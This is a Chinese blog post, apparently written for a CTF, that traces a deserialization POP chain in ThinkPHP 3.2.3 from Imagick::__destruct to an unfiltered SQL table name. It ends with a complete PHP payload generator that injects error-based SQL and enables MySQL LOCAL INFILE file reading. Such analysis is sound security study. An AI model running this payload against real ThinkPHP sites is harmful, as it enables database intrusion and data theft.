首页 > 编程语言 >[代码审计][ThinkPHP]Thinkphp3.2.3反序列化利用链分析

[代码审计][ThinkPHP]Thinkphp3.2.3反序列化利用链分析

时间:2022-10-27 13:34:19浏览次数:41  
标签:链分析 Thinkphp3.2 protected pk array 序列化 where options empty


文章目录

菜鸡在做CTF的时候想深入分析一下,也就产生了这篇文章

Thinkphp3.2.3反序列化利用链分析

分析

首先我们从​​__destruct​​方法入手

其他的都是啥如​​ftp_close​​​之类的没法有效利用,但是在​​ThinkPHP/Library/Think/Image/Driver/Imagick.class.php​​找到

public function __destruct() {
empty($this->img) || $this->img->destroy();
}

并且参数可控,搜索​​destroy​​​方法,也是基本上没啥其他点直接只有一个在​​ThinkPHP/Library/Think/Session/Driver/Memcache.class.php​

中,找到了

public function destroy($sessID) {
return $this->handle->delete($this->sessionName.$sessID);
}

这里其实版本利用有限制,在在PHP7下起的ThinkPHP框架在调用有参函数时不传参数会触发框架里的错误处理,从而报错,网上看到的当时排bug排了很久都没发现,最后切换php5,​​$this->handle​​也可控

继续全局搜索后发现在​​ThinkPHP/Mode/Lite/Model.class.php​​中

public function delete($options=array()) {
$pk = $this->getPk();
if(empty($options) && empty($this->options['where'])) {
// 如果删除条件为空 则删除当前数据对象所对应的记录
if(!empty($this->data) && isset($this->data[$pk]))
return $this->delete($this->data[$pk]);
else
return false;
}
if(is_numeric($options) || is_string($options)) {
// 根据主键删除记录
if(strpos($options,',')) {
$where[$pk] = array('IN', $options);
}else{
$where[$pk] = $options;
}
$options = array();
$options['where'] = $where;
}
// 根据复合主键删除记录
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) $count++;
}
if ($count == count($pk)) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i];
unset($options[$i++]);
}
$options['where'] = $where;
} else {
return false;
}
}
// 分析表达式
$options = $this->_parseOptions($options);
if(empty($options['where'])){
// 如果条件为空 不进行删除操作 除非设置 1=1
return false;
}
if(is_array($options['where']) && isset($options['where'][$pk])){
$pkValue = $options['where'][$pk];
}

if(false === $this->_before_delete($options)) {
return false;
}
$result = $this->db->delete($options);
if(false !== $result && is_numeric($result)) {
$data = array();
if(isset($pkValue)) $data[$pk] = $pkValue;
$this->_after_delete($data,$options);
}
// 返回删除记录个数
return $result;
}

代码看多了一看就懂了,首先getPk获取主键,之后我们的利用是想进入if中执行delete方法,

if(empty($options) && empty($this->options['where'])) {
// 如果删除条件为空 则删除当前数据对象所对应的记录
if(!empty($this->data) && isset($this->data[$pk]))
return $this->delete($this->data[$pk]);
else
return false;
}

根据调试,这里会去调用到数据库驱动类中的​​delete()​​​中去,而不是当前文件当中的delete()方法,即​​ThinkPHP/Library/Think/Db/Driver.class.php​

public function delete($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'DELETE FROM '.$table;
if(strpos($table,',')){// 多表删除支持USING和JOIN操作
if(!empty($options['using'])){
$sql .= ' USING '.$this->parseTable($options['using']).' ';
}
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 单表删除支持order和limit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}

我们可以发现在这里的​​table​​​没有过滤直接拼接了,不信的话我们可以分析分析,首先调用​​parseTable​

protected function parseTable($tables) {
if(is_array($tables)) {// 支持别名定义
$array = array();
foreach ($tables as $table=>$alias){
if(!is_numeric($table))
$array[] = $this->parseKey($table).' '.$this->parseKey($alias);
else
$array[] = $this->parseKey($alias);
}
$tables = $array;
}elseif(is_string($tables)){
$tables = explode(',',$tables);
array_walk($tables, array(&$this, 'parseKey'));
}
return implode(',',$tables);
}

他会对其中的数据执行parseKey方法,这个方法直接返回数据无其他处理

protected function parseKey(&$key) {
return $key;
}

因此便得到了完整的pop链思路,接下来就是构造

首先是​​__destruct​​​,我们需要调用​​Memcache​​​的​​destroy​​方法

class Imagick{
private $img;

public function __construct(){
$this->img = new Memcache();
}
}

接下来​​$this->handle​​​指向​​Model类​​​去调用​​delete​​方法,并精心构造我们的sql语句

class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;

public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "username where 1=updatexml(1,user(),1)#",
"where" => "1=1"
);
}
}

注意我们需要去初始化数据库的连接,这里我们使用默认的在​​Think\Db\Driver\Mysq​​​下的Mysql,发现继承了​​Driver​​类,

跟进一看,能得到这里建立了PDO配置建立数据库连接

因此我们只需要在Mysql下配置好数据库配置即可

class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启后才可读取文件
);
protected $config = array(
"debug" => 1,
"database" => "test",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "testtest",
"password" => "testtest"
);
}

最终我们得到了完整的利用链

利用链

<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "thinkphp3",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => ""
);
}
}

namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;

public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;

public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;

public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,user(),1)#",
"where" => "1=1"
);
}
}
}

namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}


标签:链分析,Thinkphp3.2,protected,pk,array,序列化,where,options,empty
From: https://blog.51cto.com/u_15847702/5800893

相关文章

  • Fastjson反序列化解析流程分析(以TemplatesImpl加载字节码过程为例)
    文章目录​​写在前面​​​​流程分析​​写在前面关于TemplatesImpl加载字节码就不多说了,之前也写过自己翻一翻,或者网上看看其他大佬的,至于为什么选择这一个,因为这里面大......
  • PHP反序列化漏洞总结
    文章目录一、基础知识1、什么是反序列化漏洞:序列化与反序列化:1、序列化:2、反序列化:二、PHP魔法函数1、常见方法:2、安全问题:三、CTF中的反序列化例题一:例题二:四、靶场练......
  • ctfshow反序列化 刷题随笔
    刷题随笔web254题目直接传参,没啥好说的web255题目<?phperror_reporting(0);highlight_file(__FILE__);include('flag.php');classctfShowUser{public$......
  • .Net内置JSON序列化中文问题
    今天在用System.Text.Json序列化的时候遇到了中文序列化的一个问题,示例如下:JsonSerializer.Serialize(new{Name="你好"});预期结果是:{"Name":"你好"},但得到结果如下......
  • Flutter(九)Json序列化与反序列化(转Model)
    在日常开发中JSON的序列化与反序列化是一个常见的操作;而Dart语言不支持反射,运行时反射会影响Dart的treeshaking(摇树优化),treeshaking可以“抖掉”不需要使用的代码,显著......
  • java反序列化漏洞cc_link_one
    CC-LINK-one前言这里也正式进入的java的反序列化漏洞了,简单介绍一下CC是什么借用一些官方的解释:ApacheCommons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons......
  • 剑指 Offer 37. 序列化二叉树 - 力扣(LeetCode)
    剑指Offer37.序列化二叉树-力扣(LeetCode)题目大意:将一棵二叉树序列化成字符串,然后通过该字符串可以重新构造出二叉树思路:看到将二叉树转化成字符串,首先想到的......
  • xml 反序列化处理
    usingSystem;usingSystem.Collections.Generic;usingSystem.Linq;usingSystem.Text;usingSystem.Net;usingSystem.IO;usingSystem.Collections.Specialized;......
  • 序列化器的嵌套
    序列化器的嵌套(1)新建一个应用pythonmanage.pystartappschool(2)注册应用INSTALLED_APPS=[#'django.contrib.admin','django.contrib.auth',......
  • 反序列化(钩子函数进行复杂数据验证)
    反序列化(钩子函数进行复杂数据验证)5.1验证单个字段序列化器:classStudent1Serializer1(serializers.Serializer):"""学生信息序列化器"""#1.转换的字......